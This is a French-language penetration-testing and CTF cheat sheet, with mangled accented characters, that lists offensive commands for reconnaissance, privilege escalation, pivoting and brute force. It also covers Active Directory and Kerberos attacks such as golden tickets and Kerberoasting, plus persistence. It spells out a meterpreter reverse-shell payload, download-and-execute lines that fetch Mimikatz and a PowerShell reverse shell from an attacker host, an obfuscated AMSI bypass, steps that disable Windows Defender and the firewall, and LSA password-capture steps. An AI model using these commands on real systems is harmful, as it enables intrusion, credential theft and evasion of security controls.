SOMMAIRE :
â Reverse shell samples
â Scripts d’Ă©numĂ©ration automatique
â Commandes d’interaction (pour CTF communs)
â Transfert de fichiers
â EnumĂ©ration
â Exploitation & ElĂ©vation de privilĂšges [LINUX]
â Exploitation & ElĂ©vation de privilĂšges [WINDOWS]
â Pivoting
â Injection SQL
â Bruteforce
Sinon tout en powershell :
â RECON
â TRANSFERT DE FICHIERS
â PRIVESC
â TICKETS ET ATTAQUES KERBEROS
â REVERSE SHELL
â ANTIVIRUS AND FIREWALL
â DISK IS LAVA
â PERSISTANCE
Reverse shell samples :
https://github.com/acole76/pentestmonkey-cheatsheets/blob/master/shells.md
Scripts dâĂ©numĂ©ration automatique :
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
Commandes dâinteraction (pour CTF communs)
who
-> Affiche les tty connectés
wall "hello world !"
-> Envoie un message sur tous les tty connectés
Transfert de fichiers
python3 -m uploadserver "PORT"
-> Lance un serveur http dans le répertoire courant
on peut également aller sur la page /upload pour téléverser des fichiers
Enumération :
nslookup -type="MX / A / AAA / TXT / CNAME / PTR" "DOMAIN"
nslookup -type=MX test.fr
nmap (
-A : détection du systÚme et des versions
-sP : simple ping scan
-sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
-sN/sF/sX: Scans TCP Null, FIN et Xmas
-sU: Scan UDP
-T4 : DĂ©finit une temporisation[0-5]
)
nmap -A -T4 -sV 10.10.10.157
nmap --script "SCRIPT" -p "PORT" "IPADDRESS"
nmap âscript smb-vuln* -p 139,445 10.10.10.134
masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0
-p1-65535,U:1-65535 tells masscan to scan all TCP/UDP ports
--rate=1000 scan rate = 1000 packets per second
-e tun0 tells masscan to listen on the VPN network interface for responses
nikto -h "URL" -p "PORTS"
nikto -h 192.168.0.1 -p 80,443
gobuster --url "IP ADDRESS" dir --wordlist "WORDLIST" -x "EXTENSION"
gobuster âurl 10.10.10.157 dir âwordlist /usr/share/wordlists/dirb/big.txt -x php,txt,html,htm
-k -> pas de vérification du certificat SSL
smbclient --list //"IPADDRESS"/ -U ""
Enumération des répertoires partagés accessibles en anonymous
rpcclient -U "" -N 10.10.10.180/
Bruteforcer les RID des comptes Windows
crackmapexec smb DC.ustoun.local -u 'SVC-Kerb' -p /root/rockyou.txt
Bruteforce SMB avec crackmapexec
enum4linux -a 10.10.10.180
Enumération SMB, RPC & co (WINDOWS)
cat *.txt | gobuster --url 10.10.10.157 dir --wordlist -
-> pour piper plusieurs wordlists dans gobuster
dirb "url" "wordlist"
dirb http://docker.hackthebox.eu:58651 /usr/share/dirb/wordlists/vulns/apache.txt
dirb options :
-a "agent" -> spécifie un user-agent
-R -> récursivité interactive
-o output.txt -> redirige l'output
wfuzz --hh="PARAM_SIZE" -w "WORDLIST" "URL".php?"PARAM_NAME"=test
wfuzz âhh=24 -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:42566/api/action.php?FUZZ=test
https://aperisolve.fr/
Site conçu par un membre de la team AperiKube pour de la recherche dâinfos dans une image
Exploitation & Elévation de privilÚges [LINUX] :
python -c 'import pty; pty.spawn("/bin/sh")'
/usr/bin/script -qc /bin/bash /dev/null
Pour obtenir un shell plus Ă©levĂ©, afin de passer dâun reverse shell Ă un shell complet
searchsploit -t "INTITLE" "KEYWORDS" -w
searchsploit windows local smb
sudo -l
-> liste les commandes autorisĂ©es pour lâutilisateur courant
find / -type d -writable 2> /dev/null
-> Liste les répertoires accessibles en écriture
find /* -user root -perm -4000 -print 2>/dev/null
-> Liste les binaires exĂ©cutables par lâutilisateur courant
find / -type f -perm /6000 -ls 2>/dev/null
-> Liste les fichiers setuid/setgid sur le systĂšme
find / -iname "mon_fichier" -print 2>/dev/null
-> Trouver un fichier précis sur le systÚme
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
-> Trouver des clés RSA ou des autorisations de connexion SSH
grep -iR "passw"
-> Rechercher du texte dans des fichiers dâune arborescence
binwalk socute.jpg
-> VĂ©rifier le contenu dâune image (peut contenir des fichiers zip par exemple)
exiftool -Comment='$sock, 1=>$sock, 2=>$sock), $pipes); ?>' "IMAGE"
exiftool -Comment='$sock, 1=>$sock, 2=>$sock), $pipes); ?>â photo.png
Exploitation & Elévation de privilÚges [WINDOWS] :
gem install evil-winrm
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
Se connecter via le port winrm
https://github.com/itm4n/PrivescCheck
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
Tester les privilĂšges de lâutilisateur
whoami /priv
whoami /groups
Liste des privilĂšges : https://github.com/gtworek/Priv2Admin
Lister les privilĂšges de lâutilisateur courant
Get-Services
Lister les services (Pour vérifier les unquoted services)
Set-ExecutionPolicy Unrestricted
Retirer les restrictions dâexĂ©cution de scripts
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\toto\Desktop\wget.exe')"
Télécharger un fichier depuis un serveur web
msfvenom -p windows/meterpreter/reverse_tcp lhost="LOCALIP" lport="LOCALPORT" -f "FORMAT" > "OUTPUTFILE"
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 lport=4444 -f exe > payload.exe
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py -d 2014-06-06-mssb.xlsx -i systeminfo.txt
VĂ©rifier les exploits disponibles en fonction du systeminfo de la victime
https://github.com/PowerShellMafia/PowerSploit
powershell.exe -nop -exec bypass
Import-Module PowerUp.ps1
Invoke-AllChecks
Lancer un PowerShell sans restrictions, charger PowerUp et lancer le check complet
powershell -c "Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name 'fDenyTSConnections' -value 0"
powershell -c "Enable-NetFirewallRule -DisplayGroup 'Remote Desktop'"
powershell -c "Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False"
netsh advfirewall set allprofiles state off
Activer le RDP et désactiver le firewall
Set-MpPreference -PUAProtection 0
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableRealtimeMonitoring $true
DĂ©sactiver Windows Defender en Powershell
import-module .\PowerView.ps1
$UserPassword = ConvertTo-SecureString 'prout1!' -AsPlainText -Force
Set-DomainUserPassword -Identity iamtheadministrator -AccountPassword $UserPassword
→ TĂ©lĂ©charger Powerview
Changer le mot de passe dâune compte du domaine avec PowerView
.\mimikatz.exe "privilege::debug" "kerberos::golden /domain:subdomain.domain.local /user:Administrator /sid:S-1-5-21-1416999593-394318322-2645534466 /krbtgt:9404ly4404bc188fd9830a3483869e78 /ptt" "exit"
→ TĂ©lĂ©charger Mimikatz (Mot de passe = proc)
CrĂ©ation dâun ticket dâor pour un domaine parent Ă partir du krbtgt dâun domaine enfant
.\Rubeus.exe s4u /user:ACCOUNTMACHINE$ /rc4:dc7a49c0c58864e87f3de623rs44985 /impersonateuser:administrator /msdsspn:"cifs/DC.domain.local" /ptt
dir \\DC.domain.local\c$
→ TĂ©lĂ©charger Rubeus (Mot de passe = proc)
RĂ©cupĂ©rer un jeton TGS dâun utilisateur Ă partir dâun compte machine autorisĂ© Ă dĂ©lĂ©guĂ© le DC et lâimpersoner
Pivoting :
Sous Windows :
KALI WINDOWS1 WINDOWS2
10.10.14.33 172.16.1.1 172.16.2.1
Ici Kali peut joindre WINDOWS1 mais pas WINDOWS2
Seul WINDOWS1 peut joindre WINDOWS2
sur le serveur (kali) :
./chisel server --port 9000 --host 0.0.0.0 --reverse
sur le client (WINDOWS1 172.16.1.1) :
.\chisel.exe client 10.10.14.33:9000 R:1081:socks
On monte un tunnel chisel et on affecte un socket sur un port du serveur Kali
nano /etc/proxychains.conf
socks5 127.0.0.1 1081
proxychains -q curl http://172.16.2.1
Ensuite on modifie la configuration de proxychains sur Kali pour passer le trafic dans le socket et on peut joindre WINDOWS2
Sous Linux :
KALI LINUX1 LINUX2
10.10.14.33 10.10.10.1 10.10.12.1
Ici Kali peut joindre LINUX1 mais pas LINUX2
Seul LINUXS1 peut joindre LINUX2
Sur le serveur Kali :
ssh -ND 127.0.0.1:12000 root@10.10.10.1 -i id_rsa -v
On monte une connexion ssh depuis Kali sur LINUX1 avec un socket sur le port 12000
nano /etc/proxychains.conf
socks5 127.0.0.1 12000
proxychains -q curl http://10.10.12.1
Ensuite on modifie la configuration de proxychains sur Kali pour passer le trafic dans le socket et on peut joindre LINUX2
Injection SQL :
sqlmap -u "URL" (--dbs / --tables -D "DATABASE" / --columns -D "DATABASE" -T "TABLENAME")
sqlmap -u http://bidule.fr/index.php?id= âcolumns -D information_schema -T USER_PRIVILEGES
Bruteforce :
Cracker un hash SHA 512 avec un salage
Mettre dans un fichier le hash et la chaine de salage séparés par un caractÚre "$" puis :
john sha512.hash -format='dynamic=sha512($p.$s)' --wordlist=rockyou.txt
Cracker un zip chiffré avec une liste de mots de passe
fcrackzip -u -v -D -p /usr/share/wordlists/rockyou.txt secret.zip
crunch "MIN" "MAX" "CONTENT"
crunch 4 15 « abcdefghijklmnopqrstuvwxyz »
crackmapexec ssh 192.168.193.132 -u users.txt -p rockyou.txt
tester une liste dâutilisateur avec une liste de mot de passe (SSH, SMB, WINRM)
hydra -l "USER" -P "WORDLIST" "IP ADDRESS" "METHOD" "URL"
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-get /monitoring
hydra -l "LOGIN" -P "WORDLIST" "URL" "METHOD""PAGE":"ARGUMENT"=^"VALUE"^:"INCORRECT STRING"" -w "THREADS" -s "PORT"
hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form « /index.php:password=^PASS^:Invalid password » -w 10 -s 45692
john --incremental "HASHFILE"
Pour bruteforcer de façon incrémentale
john "HASHFILE" --wordlist=/usr/share/wordlists/rockyou.txt
Pour bruteforcer avec un dictionnaire
Script de bruteforce anti-CSRF :
https://github.com/J3wker/anti-CSRF_Token-Bruteforce
RECON :
1..255 | % {echo "172.16.100.$_"; ping -n 1 -w 100 172.16.100.$_} | Select-String ttl
Recon with ActiveDirectory module (dll signée par Microsoft donc + légit) :
→ Microsoft.ActiveDirectory.Management.dll
Get-ADForest
Get-ADDomainController -DomainName
Get-ADTrust -Identity
Get-ADTrust -Filter *
Get-ADComputer -Filter *
Get-ADGroup -filter *
Get-ADuser -filter *
Get-ADGroupMember -Identity
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Recon with PowerView.ps1 :
→ https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Enumération du domaine (utilisateurs, postes, groupes)
Get-NetUser
Get-NetComputer
Get-NetGroup -GroupName "Domain Admins" -FullData
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetForest
Get-NetForestDomain
Get-NetForestTrust
Enumération des utilisateurs sans mots de passe avec le module ActiveDirectory :
Get-ADUser -Filter {PasswordNotRequired -eq $true}
Enumération des partages réseau
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC âVerbose
EnumĂ©ration des OU de lâannuaire
Get-NetOU
Get-NetOU MySuperOU | %{Get-NetComputer -ADSPath $_}
Enumération des GPO
Get-NetGPO
(Get-NetOU MySuperOU -FullData).gplink
Enumération des ACLs
Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "MySuperOU"}
EnumĂ©ration de la forĂȘt et des domaines
Get-NetForestDomain -Verbose
Get-NetDomainTrust
Détecter si le mode Constrained est activé
PS C:> $ExecutionContext.SessionState.LanguageMode
-> ConstrainedLanguage
Bypasser le ConstrainedLanguage
// Pour compiler :
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:".\System.Management.Automation.dll" .\Bypass.cs
Le code source :
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace CLMBypass
{
class Program
{
static void Main(string[] args)
{
String cmd = args[0];
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
Et ensuite : .\Bypass.exe « YOUR COMMAND IN FULL LANGUAGE »
Lister les rĂšgles AppLocker
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Analyser lâannuaire avec BloodHound :
→ https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1
import-module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
TRANSFERT DE FICHIERS :
Copier un fichier via SMB
PS C:> Copy-Item .\Invoke-MimikatzEx.ps1 \\COMPUTER\c$\'Program Files'
Copier un fichier via HTTP
PS C:> iwr http://COMPUTER/Invoke-PowerShellTcp.ps1 -outfile Invoke-PowerShellTcp.ps1
PRIVESC :
Privesc with PowerUp.ps1 :
→ https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
VĂ©rification globale :
Invoke-AllChecks
Recherche de services vulnérables
→ Find-PSRemotingLocalAdminAccess.ps1
Get-ServiceUnquoted
Get-ModifiableServiceFile -Verbose
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'mycurrentuser'
Recherche dâaccĂšs admin sur une autre machine du domaine
Find-LocalAdminAccess -Verbose
import-module .\Find-PSRemotingLocalAdminAccess.ps1;
Find-PSRemotingLocalAdminAccess
Recherche dâadmin connectĂ©s sur une autre machine
import-module .\PowerView.ps1
Invoke-UserHunter
Invoke-UserHunter -CheckAccess
Modifier le mot de passe dâun utilisateur avec PowerView.ps1
import-module .\PowerView.ps1
$UserPassword = ConvertTo-SecureString '123Soleil!' -AsPlainText -Force
Set-DomainUserPassword -Identity Administrator -AccountPassword $UserPassword
Executer Mimikatz dans une session PSRemoting
$pwd = ConvertTo-SecureString PASSWORD -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Administrator",$pwd)
New-PSSession -ComputerName server_fqdn -Credential $cred
Invoke-command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess
Invoke-command -ScriptBlock {iwr MY_IP_ADDRESS/Invoke-Mimikatz.ps1 -UseBasicParsing -outfile mimi.ps1; . .\mimi.ps1; Invoke-Mimikatz;} -Session $sess
Sâattribuer les droits sur lâobjet AdminSDHolder
import-module activedirectory
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal MY_USER -Verbose
Modifier le mot de passe dâun utilisateur
Set-ADAccountPassword -Identity NewUser -NewPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) -Verbose
Sâattribuer les droits sur un objet/utilisateur/machine
Set-ADACL -DistinguishedName 'DC=DC01,DC=domain,DC=local' -Principal MY_USER -GUIDRight All -Verbose
Récupérer les mots de passe lors du logon
# On upload mimilib.dll dans le System32 de la victime
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' | select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\-Name' Security Packages' -Value $packages
Invoke-Mimikatz -Command '"misc::memssp"'
# Lors du logon les mots de passe en clair sont enregistrés : C:\Windows\system32\kiwissp.log
TICKETS ET ATTAQUES KERBEROS :
Rechercher les délégations sans contraintes
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Faire de lâASREPRoasting avec ASREPRoast.ps1 (No PREAUTH Users)
→ https://github.com/HarmJ0y/ASREPRoast
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast
Affecter un SPN Ă un utilisateur (targeted SPN)
import-module .\activedirectory
Set-ADUser -Identity TARGET_USER -ServicePrincipalNames @{Add='SPN'}
Faire du Kerberoasting avec le module ActiveDirectory
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList SPN
Faire du Kerberoasting avec PowerView et tgsrepcrack.py
→ https://github.com/nidem/kerberoast
. .\PowerView.ps1
Get-NetUser -SPN
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN"
. .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"kerberos::list /export"'
python.exe .\tgsrepcrack.py WORDLIST TICKET.kirbi
Faire du Kerberoasting avec Rubeus.exe (TGS des SPN)
→ https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe
.\Rubeus.exe kerberoast /creduser:mydomain.local\myuser /credpassword:mypassword /outfile:AS_REP-hash.txt /format:hashcat
.\hashcat64.exe -m 18200 AS_REP-hash.txt -a 0 c:\wordlists\rockyou.txt
Récupérer les hashs NT du domaine
Enter-PSSession -ComputerName DC_COMPUTER
-> BYPASS AMSI CODE
iex (iwr http://my_ip_address/Invoke-Mimikatz.ps1 -UseBasicParsing);
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Générer un golden ticket et faire du pass the hash
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:KRBTGT_NT_HASH /ptt"'
DĂ©lĂ©gation sans contraintes et bug du spouler dâimpressions
-> Une fonctionnalitĂ© de MS-RPRN permet Ă un utilisateur authentifiĂ© de forcer une machine du domaine utilisant le spouleur dâimpression de se connecter Ă une seconde machine du domaine
→ https://github.com/GhostPack/Rubeus
→ https://github.com/leechristensen/SpoolSample
# Lancer Rubeus en mode moniteur sur l'attaquant
.\Rubeus.exe monitor /interval:5 /nowrap
# Lancer l'attaque depuis le poste attaquant
.\MS-RPRN.exe \\CLIENT_HOSTNAME \\ATTACKER_HOSTNAME
# injecter le ticket
.\Rubeus.exe ptt /ticket
Possible aussi avec PetiPotam :
→ https://github.com/topotam/PetitPotam
REVERSE SHELL :
Ecouter sur un port local avec Powercat.ps1 :
→ https://github.com/besimorhino/powercat/blob/master/powercat.ps1
import-module .\powercat.ps1; powercat -l -v -p 443
Puis exécuter un reverse shell sur la cible :
avec Invoke-PowerShellTcp.ps1 :
→ https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
powershell.exe -exec bypass -c "iwr 'http://my_ip_address/Invoke-PowerShellTcp.ps1' -UseBasicParsing | iex; Power -Reverse -IPAddress my_ip_address -Port my_port"
ANTIVIRUS AND FIREWALL :
DĂ©sactiver lâantivirus
Set-MpPreference -PUAProtection 0
Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableRealtimeMonitoring $true
RĂ©cupĂ©rer les exclusions de lâantivirus
Get-MpPreference | Select-Object -Property ExclusionPath -ExpandProperty ExclusionPath
Activer lâaccĂšs RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
DĂ©sactiver complĂštement le pare-feu
netsh advfirewall set allprofiles state off
Translation de ports
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDR listenport=LOCAL_PORT connectaddress=DEST_ADDR connectport=DEST_PORT
DISK IS LAVA :
Bypasser lâAMSI et injecter directement en mĂ©moire PowerView.ps1
PS C:> S`eT-It`em ( 'V'+'aR' +'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
PS C:> iex (iwr http://my_ip_address/PowerView.ps1 -UseBasicParsing)
Exécuter des commandes à distance via PowerView
import-module .\PowerView.ps1
Invoke-Command -ComputerName COMPUTER -ScriptBlock {COMMAND}
Exécuter un Mimikatz en mémoire à distance via PowerView
import-module .\PowerView.ps1
invoke-command -computername COMPUTER -scriptblock {Set-MpPreference -DisableIOAVProtection $true}
invoke-command -computername COMPUTER -scriptblock {iex (iwr http://my_ip_address/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz;}
PERSISTANCE :
Créer une tache planifiée
schtasks /create /S COMPUTER /SC
Weekly /RU "NT Authority\SYSTEM" /T
.